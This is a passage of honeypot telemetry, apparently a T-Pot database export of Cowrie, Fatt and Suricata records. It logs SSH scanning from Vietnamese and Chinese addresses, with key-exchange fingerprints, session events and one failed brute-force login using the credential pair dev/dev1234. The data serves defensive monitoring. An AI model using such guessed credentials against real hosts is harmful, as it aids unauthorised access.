"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48798, "timestamp": "2021-09-20T11:06:14.737269", "@timestamp": "2021-09-20T11:06:14.737Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20980	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:14.738094+03	2021-09-20 14:15:03.068613+03	{"_id": "QgXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48798, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.738094", "@timestamp": "2021-09-20T11:06:14.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21002	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:38.696723+03	2021-09-20 14:15:03.097613+03	{"_id": "1QbiAnwBvYTbRNuE7wAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:38.696723Z", "@timestamp": "2021-09-20T11:06:38.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20981	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:14.726992+03	2021-09-20 14:15:03.069612+03	{"_id": "MAXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3181bb249e72", "@version": "1", "timestamp": "2021-09-20T11:06:14.726992Z", "@timestamp": "2021-09-20T11:06:14.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20982	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:14.73867+03	2021-09-20 14:15:03.071612+03	{"_id": "MQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9865354beb87", "@version": "1", "timestamp": "2021-09-20T11:06:14.738670Z", "@timestamp": "2021-09-20T11:06:14.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20983	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:14.818252+03	2021-09-20 14:15:03.072613+03	{"_id": "MgXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "086285987bcc", "@version": "1", "duration": 2.425410509109497, "timestamp": "2021-09-20T11:06:14.818252Z", "@timestamp": "2021-09-20T11:06:14.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20984	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.874477+03	2021-09-20 14:15:03.073614+03	{"_id": "MwXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5689498eb0fb", "@version": "1", "duration": 2.958042621612549, "timestamp": "2021-09-20T11:06:14.874477Z", "@timestamp": "2021-09-20T11:06:14.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20985	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:14.973388+03	2021-09-20 14:15:03.074614+03	{"_id": "NAXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7dbef6505905", "@version": "1", "duration": 3.2851319313049316, "timestamp": "2021-09-20T11:06:14.973388Z", "@timestamp": "2021-09-20T11:06:14.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20986	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:15.763644+03	2021-09-20 14:15:03.076612+03	{"_id": "RwXiAnwBvYTbRNuElPwu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1555656132245664, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44702, "dest_port": 22, "timestamp": "2021-09-20T11:06:15.763644Z", "@timestamp": "2021-09-20T11:06:15.763Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20987	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:15.535844+03	2021-09-20 14:15:03.077614+03	{"_id": "SQXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:44702 (192.168.176.2:22) [session: 8dd3642a323b]", "session": "8dd3642a323b", "@version": "1", "protocol": "ssh", "src_port": 44702, "dest_port": 22, "timestamp": "2021-09-20T11:06:15.535844Z", "@timestamp": "2021-09-20T11:06:15.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20988	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:15.095096+03	2021-09-20 14:15:03.078614+03	{"_id": "WAXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:15.095096Z", "@timestamp": "2021-09-20T11:06:15.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20989	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:15.271589+03	2021-09-20 14:15:03.079613+03	{"_id": "aAXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "1e1fef1d24ff", "@version": "1", "duration": 4.033407211303711, "timestamp": "2021-09-20T11:06:15.271589Z", "@timestamp": "2021-09-20T11:06:15.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20990	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:15.70399+03	2021-09-20 14:15:03.080613+03	{"_id": "aQXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [dev/dev1234] failed", "session": "2f97955b344b", "@version": "1", "password": "dev1234", "username": "dev", "timestamp": "2021-09-20T11:06:15.703990Z", "@timestamp": "2021-09-20T11:06:15.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20991	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:15.850174+03	2021-09-20 14:15:03.082614+03	{"_id": "agXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9eeb915bdaee", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:15.850174Z", "@timestamp": "2021-09-20T11:06:15.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20992	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:37.899487+03	2021-09-20 14:15:03.083613+03	{"_id": "mAbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35120 (192.168.176.2:22) [session: d2b6638962f4]", "session": "d2b6638962f4", "@version": "1", "protocol": "ssh", "src_port": 35120, "dest_port": 22, "timestamp": "2021-09-20T11:06:37.899487Z", "@timestamp": "2021-09-20T11:06:37.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
